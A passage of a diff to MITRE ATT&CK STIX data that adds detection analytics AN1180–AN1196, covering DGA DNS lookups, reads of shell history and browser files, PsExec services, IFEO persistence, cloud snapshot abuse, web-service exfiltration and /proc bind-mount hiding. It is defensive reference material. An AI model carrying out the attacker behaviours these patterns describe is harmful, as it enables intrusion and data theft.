"AN1180" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1180", + "description": "Monitor unified DNS logs for abnormal domain queries with low lexical similarity to known domains, repeated failed lookups, and random string structures. Cross-check with process logs to confirm unusual origins (non-browser apps).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "High entropy domain queries with multiple NXDOMAINs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Unexpected apps performing repeated DNS lookups" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ReputationFeedWhitelist", + "description": "Exclude trusted CDN and cloud provider domains" + }, + { + "field": "LexicalScoreThreshold", + "description": "Adjust score for word-based vs. letter-based DGAs" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5a652a8f-a8e1-4010-bc2b-2ffaa2838333", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0419#AN1181", + "external_id": "AN1181" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1181", + "description": "Use ESXi syslogs to track abnormal DNS query patterns from management agents or VMs. Identify high-frequency, low-TTL, or unresolvable domains as suspicious. Correlate with unusual management plane process activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:syslog", + "channel": "Frequent DNS queries with high entropy names or NXDOMAIN results" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ResolverConfigPaths", + "description": "Expected resolver settings for ESXi hosts" + }, + { + "field": "DomainWhitelist", + "description": "Trusted external domains for hypervisor operations" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5bd6658f-4391-4d77-bed8-9b141b0fa3ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0420#AN1182", + "external_id": "AN1182" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1182", + "description": "Process execution that probes user activity artifacts (e.g., desktop files, registry history) following recent user login/unlock events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4800, 4801" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Window between user unlock and access to user history" + }, + { + "field": "UserContext", + "description": "Focus on non-system accounts doing user activity probing" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--21773356-1c94-4edc-b368-008c86a5929e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0420#AN1183", + "external_id": "AN1183" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1183", + "description": "Access to shell history or GUI input state (xdotool, xinput) for presence validation prior to payload execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "Execution of xev, xdotool, or input activity emulators" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ArtifactCountThreshold", + "description": "Number of distinct user files accessed before trigger" + }, + { + "field": "KnownToolSignatures", + "description": "Suppress expected automation tools" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e3a0ea8d-0018-4603-912a-4d40d0f75390", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0420#AN1184", + "external_id": "AN1184" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1184", + "description": "API usage or filesystem access revealing user state or browser artifacts (e.g., Safari bookmarks, CGEventState).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "Execution of input detection APIs (e.g., CGEventSourceKeyState)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "Access to ~/Library/Safari/Bookmarks.plist or recent files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Temporal correlation between login and file access" + }, + { + "field": "UserContext", + "description": "Exclude expected UI activity from login agents" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fedc5a7d-4ea9-4dd7-b2e0-3f10549d90db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0421#AN1185", + "external_id": "AN1185" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1185", + "description": "Detection focuses on abnormal service executions initiated via service control manager APIs, sc.exe, net.exe, or PsExec creating temporary services. Defenders observe process creation of services.exe spawning non-standard binaries, registry changes in service keys followed by rapid execution, and network connections originating from processes tied to transient services. Correlation across process lineage, registry activity, and service logs provides strong signals of malicious service execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:Security", + "channel": "EventCode=4697" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceBinaryAllowlist", + "description": "Known binaries/services expected to be invoked via services.exe" + }, + { + "field": "ParentProcessCorrelationWindow", + "description": "Time window for correlating service creation with execution events" + }, + { + "field": "RemoteExecutionHosts", + "description": "Approved remote hosts that may trigger service execution (e.g., via PsExec)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e5b15b0-e6b2-402a-9c4f-e483c968a38e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0422#AN1186", + "external_id": "AN1186" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1186", + "description": "Registry key modifications under IFEO paths (e.g., Debugger value set under Image File Execution Options), especially for security-related or accessibility binaries, followed by anomalous process execution with debugger flags or SYSTEM-level access at login. Detectable by correlating registry modifications, process creation, and parent-child anomalies with unusual command-line usage or access tokens.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time delta for correlating registry modification and debugger-triggered execution" + }, + { + "field": "TargetBinary", + "description": "Specific executables that trigger defenders\u2019 alerts when IFEO values are set" + }, + { + "field": "ParentProcessAnomaly", + "description": "Tunable logic for detecting parent-child anomalies (e.g., non-standard parent processes)" + }, + { + "field": "TokenElevationContext", + "description": "May require tuning based on normal SYSTEM or admin process elevation patterns" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--05af7b9b-ec1a-4d6c-a944-64a7ad0eb2f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0423#AN1187", + "external_id": "AN1187" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1187", + "description": "Detection focuses on correlating snapshot creation events with subsequent instance creation and mounting activities. From a defender perspective, suspicious sequences include snapshot creation by unexpected or newly created IAM users, snapshots created from sensitive volumes without preceding change-control activity, or snapshots immediately followed by mounting to unauthorized instances. Cross-referencing with user behavior, IP geolocation, and automation context helps distinguish benign backup operations from adversary-driven snapshot exploitation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432", + "name": "AWS:CloudTrail", + "channel": "CreateSnapshot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774", + "name": "AWS:CloudTrail", + "channel": "DescribeSnapshots" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "IAM user, service account, or role performing snapshot creation. Tuned to allowlist known backup automation services." + }, + { + "field": "TimeWindow", + "description": "Frequency of snapshot creation in a defined period. Adjusted for environments with frequent automated backups." + }, + { + "field": "GeoLocation", + "description": "Unusual regions or IPs from which snapshot creation API calls originate. Helps identify cross-region snapshot abuse." + }, + { + "field": "VolumeSensitivity", + "description": "Tagging or classification of volumes being snapshotted. Tuned to prioritize alerts when sensitive volumes are copied." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ee7c904b-144f-4dc4-87af-7eee4655899c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0424#AN1188", + "external_id": "AN1188" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1188", + "description": "Creation, deletion, or modification of security groups and firewall rules in cloud control plane logs that expand access to cloud resources beyond expected baselines. Defender view: unexpected ingress/egress rules permitting 0.0.0.0/0 or opening atypical ports, often correlated with privileged role or API key activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "AWS:CloudTrail", + "channel": "Ingress rule creation or modification for security group" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a", + "name": "AWS:CloudTrail", + "channel": "Removal of restrictive egress rules from a security group" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedIPRanges", + "description": "Whitelist approved IP ranges; detect unexpected addition of 0.0.0.0/0 or untrusted CIDRs." + }, + { + "field": "PortScope", + "description": "Define expected ports for services; flag additions outside this range (e.g., SSH/RDP open to all)." + }, + { + "field": "RoleContext", + "description": "Tune alerts based on whether changes are made by break-glass or admin roles versus automation accounts." + }, + { + "field": "TimeWindow", + "description": "Correlate rule changes with subsequent suspicious network activity to reduce false positives." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5a10a19a-035e-469e-8ec5-fafb1f0f0fe6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0425#AN1189", + "external_id": "AN1189" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1189", + "description": "Detects unusual outbound connections to web services from uncommon processes using SSL/TLS, particularly those exhibiting high outbound data volume or persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "SSL/TLS Inspection or PCAP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessName", + "description": "To tune for unexpected or uncommon executables initiating network connections" + }, + { + "field": "DataTransferThreshold", + "description": "Volume of outbound data in short time window (e.g., >1MB in <5 min)" + }, + { + "field": "TimeWindow", + "description": "Look for connections persisting outside of normal business hours" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6e053521-1d6d-493f-8cd5-34f9a5992fc7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0425#AN1190", + "external_id": "AN1190" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1190", + "description": "Detects command-line tools, agents, or scripts making outbound HTTPS connections to popular web services like Discord, Slack, Dropbox, or Graph API in an unusual context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect/sendto" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "conn.log, ssl.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "Unusual parent-child process behavior initiating external comms (e.g., bash > curl)" + }, + { + "field": "HostnamePattern", + "description": "Destination hostnames (e.g., *.dropboxapi.com, *.graph.microsoft.com)" + }, + { + "field": "RequestFrequency", + "description": "Repeated requests at unusual intervals, suggesting beaconing" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aff88199-cad0-47f8-b065-0ad7a86ec8a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0425#AN1191", + "external_id": "AN1191" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1191", + "description": "Detects user agents or background services making unauthorized or unscheduled web API calls to cloud/web services over HTTPS.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "process + network activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:osquery", + "channel": "process_events, socket_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessSignature", + "description": "Unsigned or user-modified apps communicating with cloud services" + }, + { + "field": "ConnectionInterval", + "description": "Beacon-like pattern of regular outbound communication" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--900bc498-4b81-43b6-bec2-3b55edc5c0ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0425#AN1192", + "external_id": "AN1192" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1192", + "description": "Detects guest VMs or management agents issuing HTTP(S) traffic to external services without a valid patch management or backup justification.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "esxi:vmkernel", + "channel": "network activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "vpxd.log", + "channel": "API communication" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RemoteIPRange", + "description": "Filter to detect only external/public destinations" + }, + { + "field": "VMContext", + "description": "Exclude known backup or patch automation services" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--126a43e3-7b39-4312-ba15-aab0f7ce78f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0426#AN1193", + "external_id": "AN1193" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1193", + "description": "Processes accessing raw logical drives (e.g., \\.\\C:) to bypass file system protections or directly manipulate data structures.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetObjectPattern", + "description": "Regex pattern to detect access to raw disk volumes like `\\Device\\HarddiskVolume` or `\\.\\PhysicalDrive*`." + }, + { + "field": "ParentProcess", + "description": "Tune for known tools/scripts (e.g., powershell.exe, cmd.exe) often used in misuse scenarios." + }, + { + "field": "TimeWindow", + "description": "Correlate file access and creation across a short time window to avoid false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--892f06ae-6a95-438b-8219-49b3384a4d24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0426#AN1194", + "external_id": "AN1194" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1194", + "description": "CLI or automated utilities accessing raw device volumes or flash storage directly (e.g., via `copy flash:`, `format`, or `partition` commands).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "command logging" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandScope", + "description": "Limit detection to volume-level commands (e.g., `format`, `copy`, `mount`, `erase`)." + }, + { + "field": "DeviceTypeFilter", + "description": "Filter by internal vs. removable volume interactions (e.g., flash, SD card)." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--43f5598c-5c63-40f4-b936-2978bd0f3aa0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0427#AN1195", + "external_id": "AN1195" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1195", + "description": "Unauthorized modification of service-related registry keys such as ImagePath, FailureCommand, ServiceDll, or Performance/Parameters keys. Defender correlates registry modifications, anomalous service metadata changes, and subsequent service process executions that deviate from baseline configurations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222", + "name": "WinEventLog:System", + "channel": "EventCode=7040" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredServiceKeys", + "description": "Registry subkeys for critical services (ImagePath, ServiceDll, FailureCommand, Parameters)." + }, + { + "field": "BaselineServiceConfig", + "description": "Known good service registry configurations and paths for comparison." + }, + { + "field": "TimeWindow", + "description": "Correlation interval between registry/service modifications and service execution." + }, + { + "field": "PrivilegedAccounts", + "description": "Accounts permitted to modify service configurations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d5c81e57-37c4-4393-a202-0955af560983", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0428#AN1196", + "external_id": "AN1196" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1196", + "description": "Abuse of bind mounts to obscure process directories. Defender perspective: detecting anomalous mount operations where a process\u2019s /proc entry is remapped to another directory, often hiding malicious activity from native utilities (ps, top). Behavior chain includes: (1) execution of `mount` with `-o bind` or `-B` flags, (2) modification of /proc entries inconsistent with expected process lineage, and (3) subsequent anomalous activity from processes whose metadata no longer matches execution context.", + "x-mitre-deprecated": false, + 